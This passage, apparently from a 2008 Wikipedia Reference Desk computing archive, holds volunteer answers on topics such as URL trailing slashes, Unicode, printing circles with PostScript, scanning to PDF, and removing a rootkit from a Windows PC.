How does one go about creating something like a subdirectory but ending up with a web address such as "www.abc.com/def" and not "www.abc.com/def/". nat.utoronto 08:45, 16 July 2008 (UTC)

(please nothing too complicated...thx) nat.utoronto 08:46, 16 July 2008 (UTC)

You can't. example.com/abc refers to the file named abc whereas example/abc/ refers to the directory named abc. --antilived^{T | C | G} 08:52, 16 July 2008 (UTC)

I see... nat.utoronto 08:55, 16 July 2008 (UTC)

so how do you get an html file without the .html (i.e. "www.abc.com/def.htm" → "www.abc.com/def") nat.utoronto 08:58, 16 July 2008 (UTC)

You can have a file named anything you want, as long as you set up the web server to somehow know what type of file it is and send the correct MIME type. It might not even be a regular file; it might be some kind of script; again, the web server would have to be set up to run this script. --Spoon! (talk) 09:15, 16 July 2008 (UTC)

If you wanted an address such as "www.example.com/abc" one would create the folder named "abc" in the document root and then create a file called "index.html" in the "abc" folder. When someone enters the URL "www.example.com/abc" the server or the browser (I forget which) would automatically add the trailing slash "www.example.com/abc/" and the server would then serve the file "www.example.com/abc/index.html". Depending on your browser and/or the server the URL showing in the address bar would show "www.example.com/abc/". -=# Amos E Wolfe ^talk #=- 09:11, 16 July 2008 (UTC)

The above answer is probably the one you want. The rest of them do not seem to answer the question correctly. The way you have it display a directory like that is by using the index file, which is the file automatically displayed by a server whenever you go to just a directory and don't specify the file. It is usually "index.html" or something like that (index.htm, index.php, index.cgi, etc.), but this can usually be configured at the server level. --98.217.8.46 (talk) 13:12, 16 July 2008 (UTC)

You could set it up with mod_rewrite, but I'm not really sure why you would. Any half-decent web server (certainly Apache) automatically redirects the unslashed version to the slashed version — Matt Eason ^{(Talk &#149; Contribs)} 12:27, 16 July 2008 (UTC)

The question is ambiguous. He could be asking whether you could have http://abc.com/def display a page but http://abc.com/def/ display a different page or a 404 or something. This obvioulsly could be done, I don't know if mod_rewrite would do it but you could write a mod_xxx that would look at the original request URL. I don't know why you'd want to though. -- Q Chris (talk)

The server can't just quietly rewrite the URL. If the browser asks for a directory without the trailing slash, the server must redirect it to the URL with the trailing slash, or else relative links won't work correctly. For example, if a page at:

http://abc.com/def

has the link:

<a href="something.html">link</a>

the browser will interpret it as "http://abc.com/something.html". But if the page is at:

http://abc.com/def/

then the browser will interpret it as "http://abc.com/def/something.html". In action:

$ telnet www.gnu.org 80
Trying 199.232.41.10...
Connected to gnu.org.
Escape character is '^]'.
HEAD /software/tar HTTP/1.0
Host: www.gnu.org 
HTTP/1.1 301 Moved Permanently
Date: Wed, 16 Jul 2008 13:42:21 GMT
Server: Apache/2.0.55
Location: http://www.gnu.org/software/tar/
Cache-Control: max-age=-8031789
Expires: Mon, 14 Apr 2008 14:39:12 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=iso-8859-1
Connection closed by foreign host.

--Sean 13:45, 16 July 2008 (UTC)

A typical url of http://example.com/some/path/file?a=b can be split into different bits. The host ("example.com") is used to connect to the correct computer on the internet. All the rest ("/some/path/file?a=b") gets fed into the web server software running on that computer. Normally this software will treat the path ("/some/path/file") as giving the location of the web page to return, but it doesn't have to do this (Django, for example, looks up the path in a list of accepted paths to decide what to do). The details depend entirely on the web server software.

Common web server software like Apache have configuration files which describe what file to display in a number of different situations, such as what file to display if the path given refers to a directory and not a file. It also describes what other programs are used on the file before it is displayed: for example, any file ending in .php will be passed through the PHP software before the web server returns it.

This is all general advice really - we can be more specific if you say which web server you're using (Apache, IIS, ...?) --h2g2bob (talk) 22:03, 16 July 2008 (UTC)

Disable mouse shortcuts in Firefox

How do I disable mouse shortcuts in Mozilla Firefox 3.0? NeonMerlin 19:28, 16 July 2008 (UTC)

Compile it without mouse shortcuts support.

I suspect that thats not that useful of an answer given the circumstances. What shortcuts do you wish to modify? ---J.S (T/C/WRE) 19:16, 18 July 2008 (UTC)

Audio Files (eg WAV, AIFF, MP3) to MIDI converter?

Does anyone know if such a thing even exists? And were might I find one if it does? 76.166.21.149 (talk) 23:17, 16 July 2008 (UTC)

Search for program called mp3 to midi" or mp32midi ;)

Note that converting to MIDI is very difficult and rarely works well, as the software has to distinguish the different instruments playing in the recording, plus filter out noise and vocals. — QuantumEleven 15:28, 17 July 2008 (UTC)

Audio hosting on the Internet

I was wondering if there exists any site similar to YouTube but with the focus on audio files, not video. There is Flickr for images, but I don't know of any audio equivalent. Is there anything like this? I don't mean just a place to store files, but one with the focus on listening to them. I'm also aware that YouTube has some audio focussed videos with little or no visual component, but it's hardly a paradise if you just want audio. Richard001 (talk) 23:22, 16 July 2008 (UTC)

- There is: www.wrzuta.pl  —Preceding unsigned comment added by 85.222.86.16 (talk) 23:41, 16 July 2008 (UTC) 

There are a bunch of sites that are kind of like that. The first two that come to mind are Last.fm and Muxtape, neither of which are really directly comparable to YouTube, but both of which let you browse things and listen to music. (Muxtape in particular is pretty cool.) Oh, and as slow, clumsy and horrible as MySpace is to use, it's still very popular with a lot of bands, so you can certainly find a lot of music there as well. -- Captain Disdain (talk) 00:07, 17 July 2008 (UTC)

There are www.anywhere.fm and www.mybloop.com, anywhere.fm only allows uploads of music files, while mybloop allows all types of files less than 1 GB in size, but has ads between music playback. Both can stream music and have no limit on the number of uploads... SF007 (talk) 02:26, 17 July 2008 (UTC)

July 17

Bluetooth headsets with USB charging

Anyone know of a guide or chart of Bluetooth headsets that feature USB charging? If I have to carry around another AC adaptor, I'm going to scream! :) --70.167.58.6 (talk) 00:15, 17 July 2008 (UTC)

NY Times recently^{LG Decoyt} featured a Verizon Wireless phone that had a spot for you to put your bluetooth headset when you did not need it. And yes, the cell phone charger charges up the bluetooth headset as well. Please take a look at it. Kushal (talk) 14:34, 17 July 2008 (UTC)

Not really interested in a new phone, thank you. I'm looking for Bluetooth headsets that have USB charging. --70.167.58.6 (talk) 18:45, 17 July 2008 (UTC)

The Jawbone (headset), very high quality!, charges with USB per their userguide [5]. Others: [6], [7], [8], . More results here [9]. --mboverload@ 05:37, 18 July 2008 (UTC)

How much wood would a woodchuck chuck if a woodchuck could chuck wood?

Well? —Preceding unsigned comment added by 82.24.216.90 (talk) 00:43, 17 July 2008 (UTC)

Woodchucks don't chuck wood. 86.154.195.19 (talk) 00:47, 17 July 2008 (UTC)

Depends on how much wood it ate. (If you don't get this, check the slang meaning) bibliomaniac15 00:51, 17 July 2008 (UTC)

As much wood as a woodchuck could chuck if a woodchuck could chuck wood. Useight (talk) 01:19, 17 July 2008 (UTC)

Is this a digital woodchuck? We might be able to set up a simulation... The Evil Spartan (talk) 01:20, 17 July 2008 (UTC)

*ZOT* --tcsetattr (talk / contribs) 01:37, 17 July 2008 (UTC)

According to the Oracle, a woodchuck can't chuck wood. --Carnildo (talk) 20:19, 17 July 2008 (UTC)

That may be so, but the question accounts for that possibility - " ... if a woodchuck could ..." I know Cecil Adams addressed this (and I know the guy who mailed in the question), but I can't access the Straight Dope site from this computer to see if it's online. --LarryMac | Talk 20:50, 17 July 2008 (UTC)

A woodchuck would chuck as much as it could chuck, if a woodchuck could chuck wood. --98.217.8.46 (talk) 02:20, 17 July 2008 (UTC)

Almost ... "A woodchuck would chuck as much wood as a woodchuck could chuck, if a woodchuck could chuck wood." StuRat (talk) 12:54, 17 July 2008 (UTC)

Mine rolls of the tongue better, which has priority over fitting another redundancy in there. I stand by it. --98.217.8.46 (talk) 03:12, 19 July 2008 (UTC)

50 cords. 84.239.160.166 (talk) 06:33, 17 July 2008 (UTC)

I thought it was "a woodchuck would chuck all the wood he could chuck if a woodchuck could chuck wood." you get that extra "could" in there. --Russoc4 (talk) 13:11, 17 July 2008 (UTC)

Right, but you have to put an "all the" in there which screws it up. Again, I stand by mine. You could endlessly add redundancy but if it doesn't fit with the meter then its worthless, you'll trip over your own tongue. --98.217.8.46 (talk) 03:12, 19 July 2008 (UTC)

Isn't the whole point of a tongue twister to cause you to trip over your own tongue ? Also, how would you add more redundancy than my version ? StuRat (talk) 19:36, 20 July 2008 (UTC)

Streaming/storing video

I have always had something that bugged me about streaming video. It seems that it would eat up a criminey-load of bandwidth in order to stream it, let alone store it on the servers. So my question is: How are sites able to store and stream video at small enough cost to provide it for free? (youtube is bad quality, but dailymotion or metacafe seems to be much better). The Evil Spartan (talk) 01:24, 17 July 2008 (UTC)

Lots and lots of compression (probably of different types—you can lop off a lot of audio quality, for example, and still have it be acceptable for streaming. Cut down on max pixel dimensions, bit rate, etc. and you've easily lowered your final video size without doing anything unexpected for the web). That's it. It does take a lot of bandwidth. There's no secret trick. Storing it on the servers is no problem—hard disk space is cheap cheap cheap. Bandwidth is more of the problem. (As a simple example—I've probably got a TB of space here in my home residence. But I couldn't in the world upload all of that at once. Storing is easy. Streaming is harder.) Nothing's really "free" here—they are offsetting everything with ads, etc. --98.217.8.46 (talk) 03:27, 17 July 2008 (UTC)

Foreign character recognition

How are websites able to recognize which language a foreign character belongs to? I know that sometimes a site can include the language in the header of the file, but how is Wikipedia able to figure out the language of and parse this: الأردن,日本語,ישראל, 中文(简体)‬, Русский, Ukrainą i Białorusią. I've checked out the text before, and I could have sworn I only saw unicode characters for each one. So how does it know which Unicode set to use? The Evil Spartan (talk) 01:30, 17 July 2008 (UTC)

I'm pretty sure it has something to do with the character encoding specifications in the HTTP header send by the server. --98.217.8.46 (talk) 02:19, 17 July 2008 (UTC)

Unicode is simply a mapping of integers to characters, of every writing system. "which Unicode set" doesn't make sense. There is only one Unicode mapping -- the Unicode mapping. Wikipedia does not need to "recognize" which writing system a character belongs to at all. Unicode includes all writing systems. Characters from different writing systems have different code points in Unicode.

How Unicode is stored on the computer is a separate matter. There are different encodings, like UTF-8, UTF-16, etc. But each of these encodings are able to represent all characters of Unicode; just in different ways. Wikipedia uses UTF-8 I think. --Spoon! (talk) 04:13, 17 July 2008 (UTC)

Most websites use UTF-8 for Unicode. --grawity 16:14, 17 July 2008 (UTC)

Ubuntu Super Edition

Hi, has anyone heard of Ubuntu Super Edition?
I read it is a new distro based on Ubuntu, and it looks promising, but... is it any good? has anyone already tried it? 87.196.41.21 (talk) 02:42, 17 July 2008 (UTC)

It's just Ubuntu with more software pre-installed. Most of the extra software seem reasonable, although a big WTF is WinRAR. You can have the exact same software through repos on Ubuntu if you just take the time and install them through Synaptics. --antilived^{T | C | G} 05:37, 17 July 2008 (UTC)

Printing circles

What is the easiest way for me to print out circles of specified radius, for example, a circle of 4.125" radius? Microsoft Paint doesn't seem to be coming through for me... any ideas? -97.113.54.71 (talk) 07:45, 17 July 2008 (UTC)

Try using microsoft word? They have auto-shapes and you can specify the height/width. It doesn't seem to have a radius/diameter setting when you draw a circle (or oval) but I expect with a little tweaking you could get to the specified size a bit easier than with MS Paint. 194.221.133.226 (talk) 09:29, 17 July 2008 (UTC)

I'm afraid my solution isn't easy but you can do it in Flash studio using ActionScript, which will allow you to export the circle as an image in almost any format you wish.^[10]--Hello. I'm new here, but I'm sure I can help out. (talk) 09:56, 17 July 2008 (UTC)

NO, Flash is definitely NOT the way to go. You can use and office suite (like OpenOffice) to draw circles, or Inkscape or basically most drawing programmes. But why go through all this trouble when you can use a pencil and a compass? --antilived^{T | C | G} 10:32, 17 July 2008 (UTC)

No, they want to draw a circle with a specific radius. You cannot do that in OpenOffice. I don't know about InkScape, but it probably won't since even Illustrator won't let you do it. I imagine that they want an electronic copy, too, rather than a hard copy.--Hello. I'm new here, but I'm sure I can help out. (talk) 10:41, 17 July 2008 (UTC)

You can definitely do it in Illustrator. Set your units to inches, select the ellipse tool, click on the artboard and enter the diameter in Width and Height. — Matt Eason ^{(Talk &#149; Contribs)} 10:55, 17 July 2008 (UTC)

I know. It can do width and height, not the radius. That's what I meant. If you want to do it that way, be sure to constrain the proporitions, or else you'll have to adjust the width, then the height manually.--Hello. I'm new here, but I'm sure I can help out. (talk) 19:27, 17 July 2008 (UTC)

And indeed Inkscape can as well (draw circle, select it, units to inches, set width and height). And OpenOffice Draw will too - draw circle, right click on it, "position and size", and set the width and height (in cm at least). -- Finlay McWalter | Talk 12:24, 17 July 2008 (UTC)

What are your resources? What drawing applications do you have? What type of printer? If your printer supports PostScript, then there are snippets of code available that you can edit in Notepad and dump to the printer. --—— Gadget850 (Ed) ^talk - 10:48, 17 July 2008 (UTC)

Either way flash is NOT the way to go. In order to draw a circle of a specific physical size on screen you need to know the PPI of the screen, which is often wrong and unreliable, and there's no solution to that problem unless the user actually used a ruler and measure how big physically a 200px square is or something. I don't know about Illustrator but Inkscape allows units such as cm, mm, in, ft, and so you are perfectly able to define a circle of 4.125". Don't think that just because something is unavailable in commercial software it's definitely not available in open-source software. --antilived^{T | C | G} 10:57, 17 July 2008 (UTC)

If you want printed circles of a specific size then use the drawing tools in MS Word or a similar WP or drawing tool. MS Paint won't help you because it stores a circle as a bunch of pixels, not as a specific "circle" or "ellipse" object. MS Word, however, stores a circle as an object with its own properties. So you can draw a rough circle and then edit the circle's properties (right click - Format AutoShape - Size tab) to set height and width to whatever values you want (note that if you want a given radius then set height and width to twice that value). And Word can use physical units (inches, cm etc.) because it knows the dimensions of the printed page size and so it sizes objects on the page relative to these dimensions. Gandalf61 (talk) 11:10, 17 July 2008 (UTC)

Simply telnet to your PostScript printer and type the following:

/inch {72 mul} def
    4.25 inch
    5.5 inch
    4.125 inch
    0 360
arc
stroke
showpage

You're done! --Sean 14:02, 17 July 2008 (UTC)

Sean, you're my nerd hero. I'm freaking serious. --mboverload@ 05:28, 18 July 2008 (UTC)

Plug ins for Eclipse in Windows and Linux

Are the plug-ins the same for both OSs or do each need its plug-in?Mr.K. (talk) 10:39, 17 July 2008 (UTC)

Depends on the plugin, but many are platform-independent. Care to tell us which plugin you are talking about? « Aaron Rotenberg « Talk « 16:07, 17 July 2008 (UTC)

light tree

is light tree same as optical packet switching ? —Preceding unsigned comment added by 59.90.206.19 (talk) 11:51, 17 July 2008 (UTC)

Light tree switching is a method/type of optical switching, optical package switching does not have to use a light tree.87.102.86.73 (talk) 14:15, 17 July 2008 (UTC)

Audio Files (eg WAV, AIFF, MP3) to MIDI converter?

Does anyone know if such a thing even exists? And were might I find one if it does? 76.166.21.149 (talk) 23:17, 16 July 2008 (UTC)

Search for program called mp3 to midi" or mp32midi ;)

Note that converting to MIDI is very difficult and rarely works well, as the software has to distinguish the different instruments playing in the recording, plus filter out noise and vocals. — QuantumEleven 15:28, 17 July 2008 (UTC)

I'd still like an answer to this... 76.166.21.149 (talk) 19:39, 17 July 2008 (UTC)

If nobody has given you an answer till now, then nobody knows for sure. This means you should research this yourself. If you want my two-cents, I don't see the point. MP3 to MIDI would be pointless to try and convert. It would be almost impossible to retain the original instrumental samples and play them back with fixed-sample general midi or MT32 or whatever. Don't even think of converting voices etc. Now - MIDI to MP3 - that would make sense. Sandman30s (talk) 22:19, 17 July 2008 (UTC)

Well, just doing a Google search for "mp3 to midi" gives a bunch of hits. I couldn't tell you if any of the software you can get that way is any good, but clearly it exists. -- Captain Disdain (talk) 20:05, 17 July 2008 (UTC)

When I have tried the software it is not good. For a pure tone like a flute, it works OK, but for more complex music, the results are pretty messy. Graeme Bartlett (talk) 02:40, 18 July 2008 (UTC)

I am not sure what you are trying to do. MP3 and MIDI are two completely different things. MP3 is like a concert. MIDI is like the sheet music. Please read the MIDI article and I think you'll understand my confusion. It's like converting a picture of a sunset into braille. --mboverload@ 05:24, 18 July 2008 (UTC)

Or converting a recording of someone's spoken words into a text file. I'm not sure why so many people are treating this as a useless or bizarre request. Yes, the output isn't going to be identical to the input, but I'm sure there are legitimate and interesting uses for such a tool, just as there are for speech recognition or OCR tools. -- Coneslayer (talk) 11:57, 18 July 2008 (UTC)

Coneslayer, I agree with you - but I think a more apt comparison would be "like OCR in the 1950s", in theory it's doable but it's exceptionally difficult and currently there is no good way of doing it for all but the simplest of sounds. — QuantumEleven 13:48, 18 July 2008 (UTC)

Garageband for PC?

Hi, I'm looking for some free/open source multitrack recording software for the PC, similar to Garageband. Hopefully, it should be fairly easy to use, but also able to do effects and filtering and things. It's to record a song or two on several instruments. I've had a look at Free_audio_software#Recording_and_editing, but none of the PC ones seem to fit the bill. Ardour looks good, but linux only unfortunately. Any thoughts very much appreciated. Thanks, LHMike (talk) 22:34, 17 July 2008 (UTC)

I hear Audacity is good, but I've never tried it. bibliomaniac15 01:03, 18 July 2008 (UTC)

Audacity is not like Garageband at all—it's just a waveform editor. (As for it being good; I think it's OK. It's not anywhere near as good as some of the commercial ones, but it's free, and it basically works fine most of the time. If I were an actual audio engineer it wouldn't be enough for me. If I'm just doing things on my own for fun and giggles, well, it's fine.) --98.217.8.46 (talk) 04:03, 18 July 2008 (UTC)

Sony ACID Pro or Ableton Live might work, both have free (limited) versions available last I checked. --LarryMac | Talk 13:21, 18 July 2008 (UTC)

July 18

Photo Printers The Norm?

I am looking to buy a new printer as my current one is totally ready to break soon. With all the searching i have done the only type of printers to my liking that i can find are only photo printers with all in one features. Could i use a photo printer as a regular document printer with the occasional photo. I just can't seem to find a printer these days that is regular. Also will regular inks and inkjet paper work with these types of printers.--logger (talk) 01:15, 18 July 2008 (UTC)

Yes you can use photo printer to print normal documents. You can use regular paper but you need to use a compatible cartridge for the printer. --antilived^{T | C | G} 07:22, 18 July 2008 (UTC)

I've used a photo printer by Samsung and the first time the paper jammed, it refused to work ever again. The quote to fix it was too much. After some investigation, I found it out it was more expensive to buy the photo paper and ink for the printer than taking your pictures to a convenience lab for printing. Sandman30s (talk) 07:34, 18 July 2008 (UTC)

What are you defining as "regular"? I mean, I think that's the problem. There are a million inkjet and laserjet printers out there. If you get something that requires expensive inks it'll cost you a lot in the long run. Inkjet printers are generally dirt cheap because the ink subsidizes the cost. --98.217.8.46 (talk) 11:32, 18 July 2008 (UTC)

To answer the question... yes, you could use an all-in-1 photo printer to print out regular documents, but I think you would find it expensive to run, especially if you use the fancy photo paper as well. If you don't need colour, perhaps a better solution would be a small b&w laser printer. A new one can be bought for around £50/$100 and they last a long time - I've used the same HP Laserjet 6L for nearly 10 years and the cartridge is only now coming to the end of it's life. Astronaut (talk) 15:00, 18 July 2008 (UTC)

Yes, and it does seem very difficult to find an inkjet that doesn't include photo printing nowadays - though if you find one that doesn't I wouldn't expect much price discount. The laser printers are a good choice in general (even colour ones are afforable) - but I think if you require v.fast draft prints the inkjet will be better than the laser. If you want quality printing (note the ink on laser printers doesn't run like on inkjets) then the laser is a good choice.87.102.86.73 (talk) 12:38, 19 July 2008 (UTC)

(Correction) laser printer can be as fast or faster than inkjets, and not all inkjets have ink that runs.87.102.86.73 (talk) 17:10, 19 July 2008 (UTC)

(Correction 2) - I've found lots of print-only printers on the web - though they do seem to be getting rarer in the shops.87.102.86.73 (talk) 17:12, 19 July 2008 (UTC)

System Volume Information

How do I access my system volume information file (C:\_system volume information)? It's driving me nuts. I set the computer to boot in safe mode. I logged in on Administrator and tried to access it via command prompt. Access was denied. I looked for it with the "show hidden files" on. I still couldn't see it. The only way I can tell it was there is that SUPERAntiSpyware scanned it. If a program can access it, it is obviously accessible so how can I get to it? Thanks, Ζρς ι'β' ^¡hábleme! 01:40, 18 July 2008 (UTC)

By default the folder is only accessible by "system", all you have to do is give yourself (administrator) access rights through the security tab of the folder properties. Let me save you some time, it's not very interesting. ;) Vespine (talk) 05:16, 18 July 2008 (UTC)

This is the directory that stores System restore save points. There is no reason to access it as it is self cleaning and managing. If you wish to truely "start fresh" disable system restore and then reenable it. The easiest way to access it is to use something like the "Ultimate Boot CD for Windows". It's a Windows environment that boots off a CD and lets you fully access the NTFS volume on the main computer.

Let me stress this again - there is really no reason to access it that I know of. Of course geeks will be geeks and want to know whats in there so here's a guide to opening it. [11]. Please skim though this as well [12]--mboverload@ 05:19, 18 July 2008 (UTC

Just an encrypted .log called "tracking.log"? That's it. That's kind of disappointing. It really isn't that interesting. Thanks for helping me access it though :), Ζρς ι'β' ^¡hábleme! 16:06, 18 July 2008 (UTC)

Odd watches

I'm looking for a digital wrist watch that displays either Unix time or Metric time. I can't find any mention of said watch on Wikipedia. The closest thing I can find is Swatch Internet Time, but it appears the company has stopped production. 68.59.171.147 (talk) 02:22, 18 July 2008 (UTC)

The only thing I can think of off the top of my head is an LED binary watch. Pretty geeky. [13]. All the wierd watches I know of are located here [14] --mboverload@ 05:26, 18 July 2008 (UTC)

I concur that ThinkGeek is probably your best bet. Gary King (talk) 08:24, 18 July 2008 (UTC)

You will most likely get the same response that I received when looking for a watch with red LEDs instead of black... make it yourself. Nobody is going to waste time setting up a manufacturing and shipping process for a watch design that may be lucky enough to produce 10 sales. -- kainaw™ 12:33, 18 July 2008 (UTC)

Do you perhaps mean LCDs? Otherwise I'm reminded of the controls in Hotblack Desiato's ship - "Every time you try to operate one of these weird black controls that are labeled in black on a black background, a little black light lights up black to let you know you've done it." --LarryMac | Talk 13:18, 18 July 2008 (UTC)

And I'm reminded of a friend of a friend who was building an amp for his guitar. He said he wanted black LEDs for indicator lights. To which my friend said "Like blacklight light bulbs?". To which the other guy replied, "No. They'd shine black light. It would be like red or green or whatever but instead be black." He's not the smartest guy in the world... Dismas|^(talk) 15:22, 18 July 2008 (UTC)

OR and slightly off topic, but black light LEDs suck. They have warnings that it's unsafe for your eyes (and they are), and don't give remotely good glow effects like normal black lights. --129.108.40.143 (talk) 18:00, 18 July 2008 (UTC)

Did his knobs go to 11? -- kainaw™ 15:27, 18 July 2008 (UTC)

Spinal Tap indeed. Cheers, 10draftsdeep (talk) 19:10, 18 July 2008 (UTC)

usenet

Asking for some sort of oversight here. Who actually uses use-net nowadays, is it very popular? Has it a useful purpose?87.102.86.73 (talk) 10:57, 18 July 2008 (UTC)

A lot of people still use it, though it's nowhere near as its popular as it used to be. (I, for example, occasionally use it, though it has been at least six months now.) I wouldn't call it very popular, but I'm under the impression that the binary groups still see a great deal of use. As far as a useful purpose goes, it's just about as useful as any other discussion forum on the internet, which is to say that that it's usefulness depends largely on what people talk about on it. For some people, it's undoubtedly very useful; for a lot of others, it means nothing. -- Captain Disdain (talk) 13:41, 18 July 2008 (UTC)

Thanks - is is primarily academic use ? - I got that impression.87.102.86.73 (talk) 12:34, 19 July 2008 (UTC)

Not so much, anymore. It's mostly for people who want to discuss a narrow subject, which might not have a bulletin-board forum on the web, or for sharing large files. Both functions are being wiped out by the web and P2P, respectively, but some folks still prefer the old ways. — The Hand That Feeds You:^Bite 13:17, 19 July 2008 (UTC)

generating pdfs

I have a pile of old paper documents that I need to convert into pdf files. Many of the documents are multi-page, and these multi-page docs need to become a single pdf file. I do not have Adobe Acrobat. I am willing to spend some money on software, but hopefully less than what acrobat costs. I have looked through downloads.com, but it wasn't clear to me if any of these applications would be particularly good for what I want to do. Do you have any recommendations? ike9898 (talk) 13:38, 18 July 2008 (UTC)

Do you want the PDFs to be searchable (that is, to have been OCRed) or just a-bunch-of-scans-in-a-pdf? -- Finlay McWalter | Talk 13:42, 18 July 2008 (UTC)

• One option is to use CutePDF. There's both a freeware and professional version. It works as a printer - you print from any application, but select CutePDF as your printer instead of whatever you normally pick. That aside, your main issue will be that which Finlay McWalter raised - you can scan in a document ok, but to convert it to text you'll need OCR software. - Bilby (talk) 13:50, 18 July 2008 (UTC)

I would check around for office places (like Kinkos). Most office work centers (scan/fax/copy machines) also do scan to email. So, you can go there, put your papers in the scanner, and scan them to your email account. They arrive as PDF documents. It shouldn't cost much since you won't be printing anything. -- kainaw™ 14:06, 18 July 2008 (UTC)

It's kinda expensive, but the best solution I've seen is the Fujitsu ScanSnap 510. It comes with Acrobat, so you're effectively getting a nice scanner with a copy of Acrobat Standard for free. I've got experience with their higher-end products, and am trying to scrape up the cash for this one, as I'm wanting to do the same thing you are. I've seen lots of good recommendations on this product. — The Hand That Feeds You:^Bite 13:24, 19 July 2008 (UTC)

I second the "check with Kinkos" bit. Most of them should have high speed photocopier/scanners with feeders on them that can scan to PDF. Alternatively, if you have your own scanner, it is not hard to compile individual scanned PDF pages into a single PDF without the use of Acrobat (a tool like pdftk can do it), but it is more time intensive than would be just taking it to Kinkos or somewhere else with a copier/scanner. --98.217.8.46 (talk) 21:10, 19 July 2008 (UTC)

High-end multi-feed scanners include "Scan to PDF" software that includes the kind of feature your looking for. Expect to pay about 300$. ---J.S (T/C/WRE) 03:02, 20 July 2008 (UTC)

Motion detection

I suspect, though I'm not sure, that my apartment may be entered by unknown persons while I'm away. Motion activated video captures by my webcam seem rather unreliable. Short of moving, is there a low-cost solution to detecting intrusions in my apartment? Thanks. Imagine Reason (talk) 14:40, 18 July 2008 (UTC)

Why do you need such a high-tech solution? Wedge a matchstick or small piece of paper in the door frame (a few inches above the floor near the hinge should do). If it's missing/moved when you return, then your door has been opened. Astronaut (talk) 15:08, 18 July 2008 (UTC)

Use the movie cliche' spy trick of plucking a hair and matting it down with a bit of saliva so that it bridges the gap between the door and the door jamb. Or you could do the same with a piece of transparent tape ("Scotch tape"). Dismas|^(talk) 15:09, 18 July 2008 (UTC)

These solutions assume that the intruder isn't savvy enough to figure these things out. Is this a hypothetical question, Imagine Reason? I mean, could we expect the intruder to be a ninja who is wily to matchstick tricks and such? (Also, you want a solution that is essentially foolproof -- if the detection device can be triggered by accident, such as the hair becoming loose of its own accord or a breeze moving a piece of paper, that's no good -- you'd definitely want to avoid a false positive.) If this is a real-life situation, what makes you think that someone has been there? Could you, for example, photograph items you think someone is messing with with a digital camera and thus record their exact positions, and carefully and methodically see if something has moved when you return? Or could you perhaps buy a voice-activated recorder (preferably a digital one that operates silently, so the intruder doesn't hear it start) and see if you can here sounds of movement or talking in the apartment when you're gone? Should you perhaps consider changing your locks? Or, if someone is really entering your apartment -- presumably with a key, but without your permission -- should you just call the police, if only to establish a history, even if they can't do anything right now? -- Captain Disdain (talk) 15:35, 18 July 2008 (UTC)

The low-tech alternatives are great idea, but the false positives would be a problem. Captain Disdain, yes, this is a real world problem. I suppose I'll call the cops and also look into a voice activated recorder as well as perhaps a magnet alarm that sounds when separated? Imagine Reason (talk) 00:37, 19 July 2008 (UTC)

Keep in mind that the door might seem like the obvious entry point but for someone entering surreptitiously it might not be. Any thief worth a damn knows not to go in the front door. I would give the low tech ones a shot before calling the cops, personally, because without compelling reason they're not going to treat you seriously, and it's not going to help you at all for them to think you are crying wolf. A very small piece of tape up on the top of a doorjam will probably not fall off. If you want to avoid false positives just build a little redundancy into the system. --98.217.8.46 (talk) 00:41, 19 July 2008 (UTC)

I get the impression (which may be wrong, but that's what you get for providing a bare minimum of information, Imagine Reason...) that we're not talking about a thief so much as someone who has access to the apartment, like a landlord or a friend with a spare key, but who isn't supposed to use it. If this was a case of money, valuables or other items clearly missing, he wouldn't need to convince himself that someone is doing this; that'd be enough evidence in itself.

Also, I really would call the cops, Imagine Reason -- just explain to them why you think that someone might be doing this and admit that you don't have any really solid evidence for this right now. Then, if you have to call them again if something else happens, they should have a record of this happening and know that this has been going on for a while, or if your neighbors report similar incidents, that'll probably get their attention. Of course, this kind of assumes that you have some reason to suspect these intrusions other than a strange feeling or intuition or something. And then again, if you suspect it's a friend or an ex of yours or something, involving the cops may not be what you want to do. -- Captain Disdain (talk) 02:14, 19 July 2008 (UTC)

Theft isn't always so easy to detect. Say he has a relative with a drug addiction who has a way to get into his place. They may just steal enough to buy that day's drug supply. A few dollars each day may not be noticed, but only give you the vague feeling that you have less money at the end of the week than you expected. StuRat (talk) 19:26, 20 July 2008 (UTC)

Sure, it's possible. Without knowing much of anything about the circumstances, this is all pretty much speculation... -- Captain Disdain (talk) 19:50, 20 July 2008 (UTC)

I know this might not exactly what your looking for, but why not set up time-laps program for your webcam? Assuming 8 hours and photos at 1 min increments you'd have about 480 photos per day to glance though. ---J.S (T/C/WRE) 03:00, 20 July 2008 (UTC)

Scumware

Some scumware has found it's way onto my brother-in-law's PC (XP-professional). The most visible effect seems to be that just after accessing the internet, a new Internet Explorer window will pop up advertizing something from a short list of sites (no, these are not regular pop-ups). A short while later, McAfee will leap into life saying it has disabled "Generic Rootkit.a", but the new IE windows continue appearing. Looking round the system and searching the internet, I have narrowed it down to something called "lanmandrv.sys" and it's associated files: lanmanwrk.exe, qmopt.dll. Unfortunately, something has disabled the XP taskmanager (no longer have enough privileges to run it) and lanmandrv.sys is hidden (both in explorer and regedit) by a rootkit. Anyway, this weekend I'm going round armed with Icesword and McAfee Rootkit Detector and I'll download some others too. I'm pretty experienced at removing scumware from his PC, but is there anything else I need to be on the lookout for? Any particular tool that is recommended above others? And how do I get the XP task manager back into action? Astronaut (talk) 15:27, 18 July 2008 (UTC)

This page might help with the Task Manager. A LiveCD of your choice of Linux flavors might be useful as well. Good luck. --LarryMac | Talk 15:46, 18 July 2008 (UTC)

Good idea, I'll take a Live CD. I've already tried using gpedit to get the task manager back on, but the "remove taskmanager" setting wasn't "enabled". Could the rootkit hide that from me as well or could the taskmanager.exe be locked out from me by another method? Astronaut (talk) 15:59, 18 July 2008 (UTC)

Astronaut - you have to go into GPedit and force Task Manager enabled. Don't leave it default. --mboverload@ 02:14, 19 July 2008 (UTC)

Well that was a lot of hassle to get rid of. It had hidden at least 5 different programs!! The hint to use a linux live CD was a good one and helped me get rid of the scumware when all else failed. I'm pretty impressed with IceSword too. Thanks for all your help. Astronaut (talk) 18:30, 19 July 2008 (UTC)

e mail

sir i want to know about the origin of e-mail.who invented it? i want to know how e-mail related to MASS MEDIA.121.247.108.36 (talk) 15:50, 18 July 2008 (UTC)

Have you considered using a cool site called Wikipedia? It is an encyclopedia and has all kinds of cool articles, including electronic mail. -- kainaw™ 15:53, 18 July 2008 (UTC)

Transatlantic Internet meltdown?

